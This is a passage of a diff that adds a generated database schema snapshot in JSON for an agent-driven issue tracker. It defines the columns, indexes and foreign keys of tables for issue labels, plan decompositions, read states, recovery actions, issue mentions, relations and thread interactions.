+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_label_id_labels_id_fk": {
+          "name": "issue_labels_label_id_labels_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_company_id_companies_id_fk": {
+          "name": "issue_labels_company_id_companies_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_labels_pk": {
+          "name": "issue_labels_pk",
+          "columns": [
+            "issue_id",
+            "label_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_plan_decompositions": {
+      "name": "issue_plan_decompositions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_plan_revision_id": {
+          "name": "accepted_plan_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_interaction_id": {
+          "name": "accepted_interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'in_flight'"
+        },
+        "request_fingerprint": {
+          "name": "request_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_child_count": {
+          "name": "requested_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_children": {
+          "name": "requested_children",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "child_issue_ids": {
+          "name": "child_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_plan_decompositions_company_source_status_idx": {
+          "name": "issue_plan_decompositions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_active_owner_idx": {
+          "name": "issue_plan_decompositions_active_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issue_plan_decompositions\".\"status\" = 'in_flight'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_source_revision_uq": {
+          "name": "issue_plan_decompositions_source_revision_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "accepted_plan_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_plan_decompositions_company_id_companies_id_fk": {
+          "name": "issue_plan_decompositions_company_id_companies_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_source_issue_id_issues_id_fk": {
+          "name": "issue_plan_decompositions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "accepted_plan_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "accepted_interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_agent_id_agents_id_fk": {
+          "name": "issue_plan_decompositions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_read_states": {
+      "name": "issue_read_states",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_read_at": {
+          "name": "last_read_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_read_states_company_issue_idx": {
+          "name": "issue_read_states_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_user_idx": {
+          "name": "issue_read_states_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_issue_user_idx": {
+          "name": "issue_read_states_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_read_states_company_id_companies_id_fk": {
+          "name": "issue_read_states_company_id_companies_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_read_states_issue_id_issues_id_fk": {
+          "name": "issue_read_states_issue_id_issues_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_recovery_actions": {
+      "name": "issue_recovery_actions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "recovery_issue_id": {
+          "name": "recovery_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "owner_type": {
+          "name": "owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'agent'"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "previous_owner_agent_id": {
+          "name": "previous_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_owner_agent_id": {
+          "name": "return_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cause": {
+          "name": "cause",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evidence": {
+          "name": "evidence",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "wake_policy": {
+          "name": "wake_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_policy": {
+          "name": "monitor_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "max_attempts": {
+          "name": "max_attempts",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timeout_at": {
+          "name": "timeout_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_note": {
+          "name": "resolution_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_recovery_actions_company_source_status_idx": {
+          "name": "issue_recovery_actions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_owner_status_idx": {
+          "name": "issue_recovery_actions_company_owner_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_recovery_issue_idx": {
+          "name": "issue_recovery_actions_company_recovery_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "recovery_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_source_uq": {
+          "name": "issue_recovery_actions_active_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_fingerprint_uq": {
+          "name": "issue_recovery_actions_active_fingerprint_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cause",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_recovery_actions_company_id_companies_id_fk": {
+          "name": "issue_recovery_actions_company_id_companies_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_source_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_recovery_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_recovery_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "recovery_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_previous_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_previous_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "previous_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_return_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_return_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "return_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_reference_mentions": {
+      "name": "issue_reference_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text": {
+          "name": "matched_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_reference_mentions_company_source_issue_idx": {
+          "name": "issue_reference_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_target_issue_idx": {
+          "name": "issue_reference_mentions_company_target_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_issue_pair_idx": {
+          "name": "issue_reference_mentions_company_issue_pair_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_null_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_reference_mentions_company_id_companies_id_fk": {
+          "name": "issue_reference_mentions_company_id_companies_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_source_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_target_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_target_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_relations": {
+      "name": "issue_relations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "related_issue_id": {
+          "name": "related_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_relations_company_issue_idx": {
+          "name": "issue_relations_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_related_issue_idx": {
+          "name": "issue_relations_company_related_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_type_idx": {
+          "name": "issue_relations_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_edge_uq": {
+          "name": "issue_relations_company_edge_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_relations_company_id_companies_id_fk": {
+          "name": "issue_relations_company_id_companies_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_relations_issue_id_issues_id_fk": {
+          "name": "issue_relations_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_related_issue_id_issues_id_fk": {
+          "name": "issue_relations_related_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "related_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_created_by_agent_id_agents_id_fk": {
+          "name": "issue_relations_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_thread_interactions": {
+      "name": "issue_thread_interactions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'wake_assignee'"
+        },
